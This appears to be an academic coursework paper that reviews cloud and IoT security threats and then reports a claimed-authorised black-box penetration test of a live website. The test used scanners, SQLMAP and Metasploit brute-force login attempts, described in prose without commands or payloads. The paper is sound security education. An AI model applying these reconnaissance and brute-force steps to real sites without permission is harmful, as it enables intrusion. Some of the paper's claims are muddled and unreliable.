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Abstract—This paper is divided into two parts, the first part is a research analysis that examines the security issues, importance and limitation of two important topics in the field of Information Technology (IT); Cloud-Based services and Internet of Things (IoT) and smart cities. In the second part, the author will be performing a real-life penetration testing scenario to the live website (https://tevelcyber.com/) while providing a professional report underlining all the vulnerabilities found or exploited with a viable solution to mitigate those threats. Cloud services are IT-based services offered to clients on a network system for a specific period with the capacity to upscale or downscale the service's specifications. The benefits of the service include its flexible and resilient nature, scalability, functionality, and outsourcing of minor organisational operations. It is a novel organisational framework that can be adopted by businesses without investing in it upfront. Despite the many benefits of the cloud services, however, businesses are skeptical about adopting it as a result of the privacy protection challenges and threats that the service is vulnerable to. One core challenge that affects the development of the cloud service is data security. Handling confidential information to another firm is quite worrying, so providers must be cautious and understand the risks involved in information breaches in this new setting. In this paper, the security challenges associated with cloud services are discussed in detail. IoT works together with cloud services and blends with intelligent technological tools and systems, and these systems are sensitive to the occurrence of events in their environs and threshold and capable of responding while integrated into a network system. Various individuals, organisations, and industries have integrated IoT in their set up. Whether in residences, official buildings, law enforcement departments, medical care, agriculture, logistics, educational or environments; IoT and metropolitan states have been universally instigated to ensure all aspects and sectors operate effectively and efficiently. 

[bookmark: PointTmp]Index Terms—Network Security, Internet of Things (IoT), Penetration testing (Ethical Hacking), Cybersecurity, Cybercrime, Artificial Intelligence (AI), Denial of Service (DoS), Risk Assessment Framework (RAF), Web Application Firewall (WAF), Open Web Application Security Project (OWASP), Transport Layer Security (TLS), Secure Socket Layer (SSL), Certification Authority (CA), Structured Query Language (SQL) injection (SQLi), Cross-Site Scripting (XSS), XML External Entity (XXE), Strict Transport Security (HSTS), Secure Shell (SSH), File Transfer Protocol (FTP), Intrusion Detection Systems (IDS), Intrusion Prevention Systems (IPS), Network Behaviour Analysis system (NBA), Hypertext Transfer Protocol Secure (HTTPS), Hypertext Preprocessor (PHP).
INTRODUCTION
	Information Technology keeps changing every aspect of human life, from simple online purchase to a self-driven taxi or live online heart surgery. Everything is changing fast, thanks to the large growth of the internet, IoT, cloud services, technological advancement, high-speed connection and more. All these come with huge price and great pressure, a pressure that IT experts trying to absorb in the fight against cybercrimes [1]. In the current climate, every individual or organisation are required some degree of network security to fight these growing cyber threats. Cloud computing is the computational framework that conveys processes between software and hardware through the centralisation of data storage, processing, and bandwidth. The cloud model delivers services through web browsers or light-weight desktop machines over the Internet [2]. This model eliminates the traditional needs of remote servers in non-cloud computing while drastically slashing costs [3]. A variety of attacks are potential plagues to cloud-based services. Identify theft is one of the commonest. Others are session Hijacking issues, Temporary Denial of Service (TDOS) attacks, and flashing attacks [4]. This paper intends to examine the problems facing cloud services, highlighting the gap between current cloud security measures and the existing cloud service threats. 
As computers, hackers are increasingly becoming more sophisticated due to the avalanche of knowledge in the public domain and the resultant benefits of a single successful hack. The issues facing clue services are equally growing at sporadic rates, with new vulnerabilities surfacing nearly daily, putting individuals and businesses at extremely significant risk. Security and privacy are the two major challenges facing cloud services and IoT. The goal and objective of the IoT are to ensure the digital space is reformed. The notion of the IoT is to integrate zillions of smart tools that would leave room for conversing and interacting with each other at any given period or location.
Network Security
Penetration Testing
	Penetration testing is simulated cyber-attack performed by an ethical hacker to uncover and exploit any number of vulnerabilities within computer systems such as web applications, protocols, interfaces (APIs), web servers, etc. Many types of penetration testing exist such as External testing, Internal testing, Black-Box testing, Grey-Box testing and White-Box testing, each of these tests is designed to serve a specific purpose. Penetration testing is often governed by a detailed penetration testing framework as part of the wider Risk Assessment Framework (RAF), every penetration tester or ethical hacker must adhere and follow the guides and steps to ensure the integrity of data and assets. As per this scenario given, the author will be performing a black-box penetration test for Tevel Corps website, in this context, the primary aim of this penetration testing would be enhancing the Web Application Firewall (WAF) and providing a professional report with proposed solutions and designs to mitigate the threats uncovered  [5][6].
Black-Box Penetration testing
Penetration testing tasks are often categorised into different spectrums, all based on the level of knowledge and the access granted. This variation goes from Black-Box Penetration testing where the Ethical hacker is given minimum information about the targeted system to Grey-Box Penetration testing and finally to White-Box where a higher level of information and access is been granted. In Black-Box penetration testing, the pen tester or consultant must have good knowledge about automated scanning tools and methodologies to perform a manual penetration testing. Also, being able to re-create a network map of the targeted system based on the information captured. In general, this type of penetration testing depends mainly on dynamic analysis of programs and systems within the target network and the ability to gather enough information to perform the task [7][8][9].
[bookmark: _Toc42787976]Cloud-Based Service Security Issues
Organisations globally are keying into the plethora of ease and profit that cloud computing brings into their businesses. With the widespread adoption comes new challenges that outdo present-day security measures partially and sometimes downright [10]. Cloud computing creates threats that are taken by providers as shared responsibility. Here are the primary issues of security:
[bookmark: _Toc42787977]Server and Application Access 
Traditional data centres have data centres on the scene; in cloud computing, access by the administrator is through the web. This lack of total control increases the propensity sporadically for breaches in security to occur since access control is beyond the administrator's sole reach [10]. The need to rigorously monitor and manage all administrative access in of uttermost importance. This can be enhanced by creating a seamless exchange of security policies between the vendor and the user. 
[bookmark: _Toc42787978]Data Transmission 
Massive amounts of data transmission take place in cloud computing. These involve communication between the vendors and the users, the user to user transmission, and user to third party transmission. Data transmission requires that the sending and receiving ends are tidied through encryption to guarantee safety. The questionable strength of most encryptions can create vulnerability and leave a space for attackers to find a place between traffic that is being exchanged on both poles. This is usually referred to as man-in-the-middle attack [11]. This nature of the attack is one of the commonest when discussing the breach of data transmission. This nature of attack can be minimised by auditing and limiting access to information utilising access controls. Creating access levels and authentication management can also be useful in managing breaches that result from data transmission. 

[bookmark: _Toc42787979]Virtual Machine Security 
One of the merits of cloud computing is virtual computing. The versatility of virtual machines makes reversion to previous instances possible. It also has the functionality to pause and restart easily, so different situations running on the same virtual machine are run concurrently and isolated. This dynamism of virtualisation capability is also responsible for enormous security threats that virtual machine faces. There are three outcomes of an attack that are unfavourable to users. In the first instance, the guest is compromised; the second instance will have multiple guests compromised; the third is having the host compromised [11]. System admin can unroll guests to the system state before the attack, but if the host is compromised, attackers can have borderless access to computer hardware and unlimited freedom. Local attacks are just one class of VM attacks. Another attack is with the hacker initiating communication between a compromised VM to communicate with another VM on the same localhost. This is in direct violation of the isolation principle of VMs. The hypervisor is another class of attack with the potential of giving attackers access to the hardware and the operating system on which the VM is operating. Denial of Service (DoS) is mostly useful in attacking VMs since it has the potency to consume resources from all VMs on the host. 
[bookmark: _Toc42787980]Network Security 
Networks are often subservient to DNS attacks, sniffer attacks, and reused IP addresses.  At the births of cloud computing, DDoS attacks were complicated to generate. But with the proliferation of IoT devices, the viability of DDoS attacks has increased sporadically in that if enough traffic is initiated to cloud computing, it can cause it to go down entirely or experience difficulties. Shared cloud computing resources between users can lead to network vulnerabilities, that may happen when one user is compromised. Employee negligence and mistakes can also result in a security compromise. 
[bookmark: _Toc42787981]Data Loss and Inadequate Data Backups 
Another security issue is that of loss in data and inadequate backups. It is the port that opens many businesses and organisations to ransomware, a specific type of cloud security threat.  The ransomware virus operates by locking away an individual or company data in encrypted files, so much access is only possible after the owner has paid a ransom [12]. Since the ransomware virus only affects the computer, it infests, a reliable data backup centre can help prevent data loss and compromise. 
[bookmark: _Toc42787982]Outdated Protocols, Firewalls, and Virus-protection 
Vulnerabilities in systems, especially in networks that possess infrastructures and multiple third-party platforms, are not uncommon. Hackers permeate cloud services through well-known system vulnerabilities such as improper patching and outdated protocols lacking in now supports. Cracks in firewalls and antiquated virus protection also open cloud computing to attacks.

[bookmark: _Toc42787983]Internet of Things and Smart City Security Issues
[bookmark: _Toc42787984]Smart cities are created due to the blending of smart markets that interact and converse with each other as a result of their connectivity. Smart cities are an assimilation of smart hubs that communicate with each other due to their connection. This circle includes smart organisations, control network channels, residences, logistics, and hospitality companies' waste control. They have a strong reliance on the data that is retrieved from the smart markets within the network channel framework [13]. Instigation is done via a service system called cloud computational services, which supports every management system's interaction. An extended number of different nodes with connections with each other within a singular post and have the aim of sharing data, interacting, and responding effectively during communications can be called cloud computing. Mentioned below are the highlights of current threats and issues that affect the IoT security.
[bookmark: _Toc42787985]Intruder Model: A systematic model that poses a threat and invades and intercepts data that is being streamed amongst IoT nodes. DY invader system is highly and can outperform the NSA oftentimes.  
[bookmark: _Toc42787986]Denial of Service Attack (DoS): This can make the information that has been integrated in the IoT framework to be unavailable to persons interested in using it. Often, nodes in the IoT are lacking a high capacity to store data, and computing is not done accurately, which impacts the framework, thus making the threats cause severe havoc.
[bookmark: _Toc42787987]Physical Attacks: Due to the nature of a mesh, which is distributive, attacks carried out on the hardware systems that are joined to the IoT systems to have them destroyed.    
[bookmark: _Toc42787988]Privacy: A big threat to IoT based network channels is Privacy Invasion. Securing the Privacy of data is quite challenging. There are various threats and attacks carried out on the security of data currently and they include Digging up information, Analysing traffic, Surveying data passively and spying. 
[bookmark: _Toc42787989]Inadequate Patching & Testing: Outdated resources and gadgets may have dangerous bugs that allow invaders to intrude and intercept the Privacy of information. The bugs leave the systems vulnerable, thus allowing attacks to be launched on users' secured data. Nonetheless, even if a host ensures upgrading an IoT-based device, it is important to ensure that the devices and resources are updated constantly and the patch as well to ensure Privacy protection and ward off the activities of attackers [14].
Lack of Standards: Presently, the IoT network has no recognised or noted standards and policies that can be accessed. There is not a single acknowledged or perceived basic description amongst various high-profile and technology inclined firms. There are different intricacies inherent in the setup of the IoT with the availability of varying standards that shadows every bit and piece of the network. As a result, it poses a challenge prospectively as the inconsistencies of the standards are pronounced, thereby counteracting the interactions and connections between IoT based computer systems. 
[bookmark: _Toc42787990]Recommendations
Cloud-based services can also be used to tackle the challenges encountered with certification/authenticity and identification of an object [15]. This cloud-based service would help programmers of the IoT based technologies to concentrate on their core competencies and ensure privacy protection is incorporated within the IoT network, not minding the core competencies of the computer systems. 
Authorisation & Authentication: one way to resolve the issue with authentication and Authorisation is to implement an original certification authorised body globally, however, some constraints may be experienced such as the feasibility of issuing certification to every individual object attached to the IoT is low since the amount of the objects totally are majorly high in number. Thus, it is recommended that certification is replaced and in the same vein, Authorisation should be replaced as it is essential for the IoT network.  
Lightweight Cryptosystems and Security Protocols: The challenge encountered while using  Cryptosystems that are light-weighted and protection protocols could be tackled implementing cryptosystems that use symmetric key because overt source key cryptosystems typically offer increased protected components although there is which undergoes increased overheads during computation. This causes them to be used minimally or completely left out several times. Thus, the decline in overheads while computing for overt symmetric-key cryptosystems and complex protection systems would continue to be a core problem for privacy protection in IoT based systems [16].   
Software Vulnerability and Backdoor Analysis: The issues with backdoor description and the loops in software applications that can be taken advantage of by invaders is a challenge [17] and can be tackled by implementing a very functional and efficient method such as the Dynamic evaluation which serves as a support for experts into software developing and sampling to detect the core weaknesses and loops of the product prior to launching it. The dynamic evaluation could be made highly functional by implementing the emulation procedure, which can emulate the attitudes of systems in a server that has increased computational abilities thereby supporting the process of the dynamic evaluation to outwit the constraints of resources. Furthermore, to ensure backdoors are eradicated, the dynamic evaluation method stated previously above-mentioned proves to be an effective intervention. On the other hand, this issue does not have many technicalities to navigate. Therefore, the policies and administration have essential parts to play. Various multiple level evaluations currently exist which are very useful to help in eradicating backdoors utilisation, which includes the detection of backdoors with an engineered system that is reversed. 
Most common cyber threats and attacks including some of OWASP top ten (2019/20)
	In this critical and vital network security field, every private consultant or penetration tester must be updated and well-aware of all types of cyber-attacks that organisations networks and assets still facing. There are various types of cyber-attacks, different in terms of nature, complexity, execution and how destructive and damaging they can be. Therefore, the diversity of these sophisticated and persistent attacks can be challenging for any organisation network security team. 
Man-in-the-middle attack (MiTM)
	A Man-in-the-Middle attack (MiTM) is another highly common Cyber-security threats that many individuals and organisations still falling victims of, this attack allow the hacker to intercept the communication between two endpoints and appear as the legitimate user for both parties and become a valid host. When this type of attacks is successfully mounted, the attacker can passively send and receive critical data between the two ends. This hijacking and eavesdropping to seize and exploit real-time data between client and server. Many tools (non-proxy and proxy) such as Ettercap, Bettercap, Dsniff, PacketCreator, etc. have been developed to take advantage of Transport Layer Security (TLS) weaknesses and loopholes, authentication misconfiguration and bypassing a trusted Certification Authority (CA). Not only that, but this attacking technique has also become a key step in the development of web applications and widely used for Web vulnerabilities assessment [23][24] [25]. 
Denial of Service& Distributed Denial of Service 
Denial of Service (DoS) attack is still one of the destructive Cyber-security threats that network security’s organisations still facing, it is highly effective and can cost businesses time and money losses while resources are inaccessible. This type of attacks strikes a targeted computer, server or network with a high volume of illegitimate requests to flood the network and overwhelmed its processing capabilities. This process renders the victim email-server, website, or application, etc. inaccessible, unable to respond to legitimate users or cause system crash using different methods such as “Smurf “or SYN floods attacks. DoS attack has evolved through the years to become Distributed DoS (DDoS) attack, more lethal and aggressive than its predecessor. In DDoS attacks, the hacker uses exploited botnets and Zombies to mount their distribution attacks via a single or multiple controller(s). In recent years, a new danger has emerged where hackers start exploiting a huge number of IoT (up to 400 000) devices to mount a larger DDoS attack such as “Mirai-Style” DDoS. In 2016 this “Mirai” DDoS attack has cost a larger group of highly regarded businesses such as Amazon, Netflix, Spotify, Twitter, PayPal, and others a loss of $110 million in a single day [25][26][27].
SQL Injection
Structured Query Language (SQL) attack remain as one of the top ten OWASP lists that target mainly application security, this is a code-built attack designed to inject the malicious arbitrary language into the web application to gain complete control of its database. Either SQL injections (SQLi) In-band or Out-of-band can cause great damage to organisations web application back-end where critical data can be compromised, tampered with, or deleted. Most of these SQLi exist primarily due to SQL misconfiguration statement that leads to compromise authentication and finally exploiting the database itself.  Hackers so far have proven that this programming language is a weak one, therefore many web developers start to pay great attention into hardening their line of defence against this type of attacks and adopting alternative methods to host their databases [28][29][30].
Broken Authentication and session management
Broken authentication is still considered as the second top critical cyber-threat according to OWASP top 10 attacks; therefore, many modern organisations and web application developers start to design a robust system based on secure user authentication and session management mechanism. The appropriate security measures and authentication methods must be applied and regularly tested for any flaws and vulnerabilities to stop or reduce this kind of attacks. Many of these weaknesses such as session-id exposure, weak login details, system misconfiguration (session timeout) and data not encrypted still permit attackers to bypass authentication security and gain unauthorised access to critical data. However, the human factor side and some simple actions such as login out properly, clearing the cookies regularly and using strong credentials could play an important role in combating these attacks [24][31] [32]. 
[bookmark: _Hlk42521353]XML External Entities (XXE)
	XML External Entity (XXE) attack also known as XXE injection, is widely abused web vulnerability that enables attackers unauthorised manipulation and interference with applications processors and back-end services through XML parsers. They are often used to perform Denial of Service attack via XML Bombes, to enable remote and local access to content services, to perform unauthorised web application requests, Servers Side Request Forgery (SSRF) and port scanning, etc [19][33].
Different organisations and web application developers have been using different approaches to help mitigate and reduce the risks of falling victim of XXE threats, some of these widely adopted approaches are:
· Securing XML parsers by neutralising almost the entire External Entities (not 100%).
· Ensuring access restriction to XML features by designing web servers to perform permission request to restrict access to certain XML directories and libraries.
· Deploying different alternative coding language such as Java, Python, C#, etc. to disable the entire XML features. 
Cross-Site Scripting (XSS)
	Cross-site Scripting also known as XSS attack is another web application attack specifically designed to target the application layer in client-side, this XSS vulnerability found in the client web browser is often exploited using embedded scripts injection. This threat is mainly the direct result of security flaws within the client-side web scripting methods such as JavaScript and HTML. Many experts in this filed believes that XSS flaws could be detected and fixed easily. However, XSS threat still considered as one of the most common software issues that web developers still facing [34]. The main danger starts when the malicious code gets executed in the victim’s web application, this will allow the attacker to take control of the victim’s web browser or account and manipulate or steal sensitive data after bypassing the security controls. Many types of XSS attacks such as “Reflective XSS”, “Persistent XSS”, “Dom XSS”, etc. can often lead to the execution of malicious activities such as: 
· Stealing browser history, cookies, and clipboard content.
· Enable web browser remote control.
· Hijack individuals account.
· Manipulate sensitive data.
· Successfully exploit intranet applications [34][35][36].
Penetration testing plan
In the second part of this research paper, the author was instructed to demonstrate all the knowledge and skills learned throughout the network security module by performing a real-life black box penetration test on live website (https://tevelcyber.com/). This test shall be performed while adhering to rules and guidelines set by Tevelcyber Corps Limited. As a good practice, the penetration test consultant should outline and define some key elements and stages such as contingency planning, penetration testing framework adopted and most importantly endorsed a mutual agreement between the two parties before taking any actions. In this section, the author will demonstrate the process of conducting this penetration test, the tools and protocols involved in each attack. At the end of this process, the author will provide a comprehensive report of all vulnerabilities found or exploited and framework the recommendation solutions to help mitigate the potential threats.
Contingency Policy
	As part of any penetration test planning the security consultant or “Ethical Hacker” should formulate a detailed contingency plan or “Incident Response Planning” to help the organisation mitigate the security threats if and when the asset is compromised, this should provide the management and the incident response team with swift and clear actions to manage the risks and vulnerabilities within the assets, it should also include a reliable procedure and planning to mitigate those security risks and recover from a loss. When it comes to network security, any organisation must implement a sound Security Threat, Risk and Vulnerability Assessment (TRVA) policy. In terms of planning structure, a well-designed structure of this contingency plan could help the organisation avoid a full crisis impact and minimise the loss as much as possible [16][39].
	Every contingency planning consists of various steps that outline comprehensive planning for the organisation to adhere to. The first step is developing a statement policy, the approved policy shall deliver the foundation and executive guidelines to generate a contingency policy. With the help of Business Impact Analysis (BIA), a systematic approach to improving the organisation ethics and mechanisms used should also be established. It is also key that all preventive countermeasures should be considered to reduce the impact of system failure and reduce the cost. When it comes to system failure, every organisation strive to recover quickly with the least loss as possible, this can only be achieved if organisations pay great attention in developing efficient planning of strategic management, increasing physical testing and developing an effective training programme for the staff to raise awareness and enhance security practices while maintaining this contingency plan and updating regularly [37] [38].
Penetration Testing Framework
As a common practice, most organisations create their penetration testing framework to suit their assets infrastructure and business needs, it is often done through adopting and adapting one the Risk Assessment Framework (RAF) umbrellas such as NIST, ITIL, ISO27001, etc. each of these major RAF provides a detailed procedure of conducting penetration testing as a form of vulnerability assessment. Most penetration tests are often conducted using one of the following penetration testing frameworks [40][41]:
· As part of one of the major Risk Assessment Frameworks (NIST, ISO, ITIL, etc.).
· Open Source Testing Methodology Manual (OSSTMM).
· [bookmark: _Hlk42529471]Open Web Application Security Project (OWASP).
· [bookmark: _Hlk42529461]Penetration Testing Execution Standards (PTES).

Instead of being more pragmatic, the author will be adopting a more focus framework called “Kill Chain”. This approach can easily adapt to any organisation requirement and fit well with the regulation; it is more of an attacking-minded strategy (slightly aggressive).
Implementation
At the core of this research paper, the author is required to demonstrate how a professional penetration testing consultant should conduct a thorough penetration test to expose Tevel Cyber website vulnerabilities while respecting the data integrity of this organisation. Taken in consideration that the author is not professionally certified, and the website is life, every single mounted attack will be carefully executed to protect the organisation asset. Finally, when it comes to the tools available for the author (open source only), the overall quality of this penetration test is likely to be moderate and more academic rather than a professional one.

Nmap / Zenmap Scan
	Nmap scanning tool and Zenmap the graphical version are considered as powerful and efficient tools by many experts and professionals in the cybersecurity field, this open-source tool is designed to perform a variety of scans such as stealth to remain undetected by IDS/IPS or NBA system. At this stage, the penetration tester needs to use a variety of tools to confirm and complement the data gathered and never rely on one, even the most expensive professional tools. In this scan, the system uses a combination of TCP/UDP packets to identify the open ports, the protocols used on each port, the operating system, the public key type and bits used, the signature algorithm, the key algorithm, the encryption key and algorithm, the DNS host server details and it’s backup, etc. all these valuable data could be used to start planning different types of attacks to exploit the system or compromised the data traffic captured [42][43]. As shown below (figures 1-6) the author has performed a stealth scan to the target website after running Anonsurf to stay anonymous and mask the public IP and the local DNS.
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Figure 1 - Running Anonsurf to stay anonymous
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Figure 2 - The public IP location check (Anonymous)
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Figure 3 - The DNS leak check (Anonymous)
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Figure 4 - Zenmap report-pg1
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Figure 5 - Zenmap report-pg2
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Figure 6 - Zenmap report-pg3
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Figure 7 - Zenmap report-pg4
[image: ]Figure 8 - Zenmap report-pg5
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Figure 9 – Zenmap- host traceroute details
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Figure 10 - Zenmap ports/host details
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Figure 11 – Zenmap- host topology
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Figure 12 - Zenmap- host Operating System (Linux 2.4.36)
Maltego Scan

[image: ]
Figure 13- Maltego - Tevelcyver data-mining topology
	This powerful open-source tool was used to perform a more profound scanning and data mining about the target website, this tool generates an efficient visual illustration about the website technical structure and the topology of sub-services, server technology, running services, subdomains, Name Server, MX Server, tracking codes, Netblocks AS numbers and more. All these data will allow the penetration tester to build a complete picture of Tevelcyber Corps organisation. As illustrated in figures below (figures 13 – 16) the author has successfully managed to discover a great deal of data about the target organisation.  
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Figure 14 - Maltego- linked available services (LinkedIn, Gmail, etc.)

[image: ]
Figure 15 - Maltego- NS services
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Figure 16 - Maltego- Netblocks and AS numbers (routing)
Online scanning tools
	The author has also used some efficient online scanning tools such as Shodan, Censys and Qualys SSL lab, these automated tools are often used by organisations to perform a security and vulnerability analysis about their website to provide an overview of possible weaknesses and exploit over the web interface.

Shodan Scan 
	The following figures demonstrate some of the vulnerabilities discovered using Shodan tool.

[image: ]
Figure 17 - Shodan Scan
[image: ]
Figure 18 - Vulnerabilities found using Shodan Scan

Censys Scan
	Censys scanning tools can provide more details about the autonomous system used, the cypher suite, the certificate chain and protocol on each open port discovered. All these details can be used by the penetration tester to evaluate the website overall security. The following figures (19-21) illustrate some of this gathered information.

[image: ]
Figure 19 - Censys Scan - (HTTP/HTTPS) TLS data
[image: ]
Figure 20 - Censys Scan - Certificate chain details
[image: ]
Figure 21- Censys Scan - MySQL data
Qualys SSL Labs
	Qualys SSL Labs is also classified among the best online website security analysis for websites security, evaluation and vulnerability detection, this tool focus more on the Transport Layer Security (TLS) analysis of the target web and provide a reliable analysis about the most common web attacks that can be exploited. Please see below some screenshots from the Tevelcyber.com Qualys report.
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Figure 22 – Qualys- The overall rating of the website security (A)
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Figure 23 - Qualys - Most common web attacks vulnerabilities
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Figure 24- Qualys- Protocols supported, cypher suites and system.
Nikto web vulnerability scan
	The author has also used this open-source web vulnerability scanner to check if the Tevelcyber.com can be exploited through, protocols used, versions supported, detected PHP login, cookies, SQL injection, headers, XSS protection header, Transport Security Layer, cyphers used and more. Please see figures (25-26) below showing some the vulnerabilities found on Tevelcyber.com website using Nikto.
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Figure 25 - Nikto scan
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Figure 26 - Vulnerabilities detected using Nikto
D-TECT Scan

[image: ]
Figure 27 - D-TECT scanning tool
	These multifunction scanning tools were deployed to run multiple scans to check if the target website is vulnerable to Cross-Site Scripting (XSS), SQL injection, WordPress login Brute force. Also, to run more comprehensive scans for sensitive files, sub-domains, and WordPress data. This powerful easy to use tool has helped the author to uncover some new information and confirms some previous ones as illustrated in the following figures (28 – 32).
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Figure 28 - D-TECT Scan menu
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Figure 29 - D-TECT Scan - XSS
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Figure 30 - D-TECT Scan - WordPress Emulator
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Figure 31 - D-TECT Scan - WordPress usernames (Strongly hashed)
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Figure 32 - D-TECT Scan -SQL injection (undetected)
Vega web security scanner
	This is an open-source web security testing platform, widely used by penetration testers. Also, capable of detecting and validating SQL injection on websites, Cross-Site Scripting (XSS) vulnerabilities and probes for TLS/SSL security settings. The following figures (33 – 35) shows some of the vulnerabilities discovered within the PUT-profile function of the HTTP server that could give the attacker the opportunity to overwrite on the pre-existing resources of the server.
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Figure 33 - Vega Scan
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Figure 34 - Vega Scan alerts
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Figure 35 - Vega Scan - Vulnerabilities detected
Burp-Suite project
	Burp-Suite Project tools is a cutting-edge Cybersecurity tool widely used, taught, and certified by great numbers of web security organisation worldwide, it is available in three versions: Enterprise, Professional and Community. This tool is widely used by web developers to evaluate the overall security of their web design. This toolkit has been designed for simplicity and efficiency. The following figures (36-39) illustrate how the Crawling function was set to scan Tevelcyber.com and the vulnerability discovered on the wp-admin_login.
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Figure 36 - Burp-Suite - setting-up the target
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Figure 37 - Burp-Suite scan
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Figure 38 - Burp-Suite - Spider control function
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Figure 39 - Burp-Suite - wp-admin vulnerability
Grabber web application scanner
	This tool was designed mainly to scan small and personnel website. However, the author has taken the opportunity of having this function pre-installed to run this simple scan to check if any new loopholes can be detected withing SQL, PHP, XSS and backup files. The next figure (40) shows a negative result of this quick scan.
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Figure 40 - Grabber Scan
WP-Scan 
	This is a black box open-source WordPress vulnerability scanner that focuses mainly on detecting loopholes in WordPress remote installation, it is also used to determine WP login details using Brute force method, WordPress version, WordPress-seo, backup config, and performing WP password attack using Brute force. The following figures (41-44) illustrate this WP-Scan/ exploit results (unsuccessful).
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Figure 41- WP-Scan
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Figure 42 - WP Scan - WP version / Plugin emulator
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Figure 43 – WP-Scan - WordPress-seo detection
[image: ]
Figure 44 - WP-Scan - WordPress password attack

SQLMAP
	This pre-installed open-source tools in Kali Linux was used to perform an active attack, it relies on sending a simple GET requests to the web server using the HTTP protocol. The following figures (45-48) shows that the author has failed to run any successful SQL injection on the target website.
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Figure 45 - SQLMAP - SQL Injection
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Figure 46 - SQL Injection - WP-login
[image: ]
Figure 47 - SQLMAP - failure to inject Tevelcyber website  
(MySQL server)

OWASP Zed Attack Proxy (ZAP)
	OWASP ZAP is a powerful aggressive tool used for website security analysis, this open-source software appears to be complex when first time used. However, the quality of the results produced shows its value among professional penetration testers. The following figures (48-51) shows that five vulnerabilities have been detected (3-SQLi, 1-XSS, 1-Java Script).
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Figure 48 - OWASP Zap Scan
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Figure 49 - OWASP Zap SQL injection vulnerabilities
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Figure 50 - OWASP Zap XSS vulnerability
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Figure 51 - OWASP Zap Java Script Vulnerability
Metasploit MSF console (msfconsole)
	The author has also used Metasploit MSF console to mount Brute force password attacks on FTP login, SSH login, MySQL login using one of the latest username/password words list for each function. The following figures (52-59) illustrate how these attacks have been mounted and that all the attempts have failed to login successfully. 
[image: ]
Figure 52 - msfconsole - SSH_login
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Figure 53  - msfconsole - SSH_login failed
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Figure 54 - msfconsole - FTP_login
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Figure 55 - msfconsole - FTP_login failed
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Figure 56 - msfconsole - MySQL_login
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Figure 57 - msfconsole - MySQL_login failed
SSL_LABS using MSF console.
	This quick Linux scan has successfully detected that the target website is vulnerable to downgrading attacks, Strict Transport Security (HSTS) attacks and forward secrecy attacks using most browsers.
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Figure 58 - SSL_LABS Scan
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Figure 59 - SSL_LABS results
Evaluation of the Results
	This ethical penetration test performed on Tevelcyber Corps live web application has been conducted within the scope and terms agreed, multiple penetration tests have been performed using different tools, different protocols and many services related to this web application. Most of these tools were implemented using Kali Linux, Parrot OS and online free web penetration testing tools. In terms of information gathering and vulnerabilities assessment, the author believes that those two objectives have been achieved successfully taken into consideration the limited tools available. However, the author was not able to exploit successfully all the vulnerabilities discovered throughout this penetration test mainly due to the high integrity of the security implemented by Tevelcyber. Throughout this experience the author has uncovered a great deal of information about the target company other services related to the live website, many exploits could have been executed through indirect links such as DNS services, google mail or routing. Taken in consideration that this is not agreed, and this test was conducted mainly for academic purpose, the author has completed this penetration test with no risk or damage to Tevelcyber assets using the following protocols:
· TCP/IP
· UDP
· SSL
· SSH
· ICMP
· FTP
· HTTP
· HTTPS
· SMTP







Conclusion
Hackers particularly have a wealth of things to gain from penetrating a cloud service since it exposes a lot of data from which massive information can be harnessed and used to their advantage. The array of attacks that cloud services face is hardly changing. With the increasing sophistication of security apparatus, threats are equally getting more sophisticated daily, at unequal and negatively advantageous rates. One-way providers can guarantee security is to prioritise testing vulnerabilities in their system by employing external security experts to eliminate potential bias. The institutionalisation of IoT technology in smart cities is very important as it is one technological domain that is growing and expanding continually. Challenges are faced on IoT-based networks, such as attacking the systems physically, service threat denials, invader model, data security breach, inaccurate examinations, and absence of standardised features in the network. To tackle the issues and barriers encountered, it is essential to combat these problems adequately, and the discovery made needs to be implemented with many precautions. There is also a need to come up with viable interventions. Interventions recommended to resolve these issues can also be used to resolve data security issues by implementing information gathering policy and systems that enable encryptions. Object identification, authorisation, certification, and backdoor evaluation, and so on are all solutions that can be employed. Finally, it is the author believes that regular penetration testing can reduce cyber-threats substantially as well as the prominent role of governments, education, and training of cyber professionals. However, the future of Cybersecurity can only count on innovative and smart solutions developed using Artificial Intelligence (AI) [38] [44].

















































































References
[1]	V. K. Gunjan, A. Kumar, and A. A. Rao, “Present and Future Paradigms of Cyber Crime and Security Majors-Growth and Rising Trends,” Proc. - 2014 4th Int. Conf. Artif. Intell. with Appl. Eng. Technol. ICAIET 2014, pp. 89–94, 2015.
[2] 	D. Wink, "Cloud Computing", Nurse Educator, vol. 37, no. 1, pp. 3-5, 2012. Available: 10.1097/nne.0b013e3182383371 [Accessed 11 June 2020].
[3]	R. Moreno-Vozmediano, Montero and I. Llorente, "IaaS Cloud Architecture: From Virtualized Datacenters to Federated Cloud Infrastructures", Computer, vol. 45, no. 12, pp. 65-72, 2012. Available: 10.1109/mc.2012.76 [Accessed 11 June 2020].
[4]	P. Cory, "Danish police proposal: Ban anonymous Internet use", Boing Boing, 2011. [Online]. Available: http://boingboing.net/2011/06/23/danish-police-propos.html. [Accessed: 11- Jun- 2020].

[5]	Y. Wang and J. Yang, “Ethical hacking and network defense: Choose your best network vulnerability scanning tool,” in Proceedings - 31st IEEE International Conference on Advanced Information Networking and Applications Workshops, WAINA 2017, 2017.
[6]	Ethical Hacking and the legal System, “Ethical Hacking and the Legal System,” no. July, pp. 3–27, 2013.
[7]	G. Deepa, P. S. Thilagam, A. Praseed, and A. R. Pais, “DetLogic: A black-box approach for detecting logic vulnerabilities in web applications,” J. Netw. Comput. Appl., vol. 109, no. September 2017, pp. 89–109, 2018.
[8]	J. Hang, K. Han, H. Chen, and Y. Li, “Ensemble adversarial black-box attacks against deep learning systems,” Pattern Recognit., vol. 101, p. 107184, 2020.
[9]	A. Cabana, C. Charrier, and A. Louis, “Mono and multi-modal biometric systems assessment by a common black box testing framework,” Futur. Gener. Comput. Syst., vol. 101, pp. 293–303, 2019.
[10]	N. Mathkunti, "Cloud Computing: Security Issues", International Journal of Computer and Communication Engineering, vol. 3, no. 4, pp. 259-263, 2014. Available: 10.7763/ijcce.2014.v3.332 [Accessed 11 June 2020].
[11]	R. Sharma, and R. Trivedi, "Literature review: Cloud Computing –Security Issues, Solution and Technologies", International Journal of Engineering Research, vol. 3, no. 4, pp. 221-225, 2014. Available: 10.17950/ijer/v3s4/408 [Accessed 11 June 2020].
[12]	"A study on issues of Cloud Security issues through Ransomewares.", International Journal of Recent Trends in Engineering and Research, vol. 3, no. 11, pp. 301-308, 2017. Available: 10.23883/ijrter.2017.3530.cto51 [Accessed 11 June 2020].
[13]	A. Singh, "SMART CITY With IOT and BIG Data", SSRN Electronic Journal, 2019. Available: 10.2139/ssrn.3405839 [Accessed 11 June 2020].
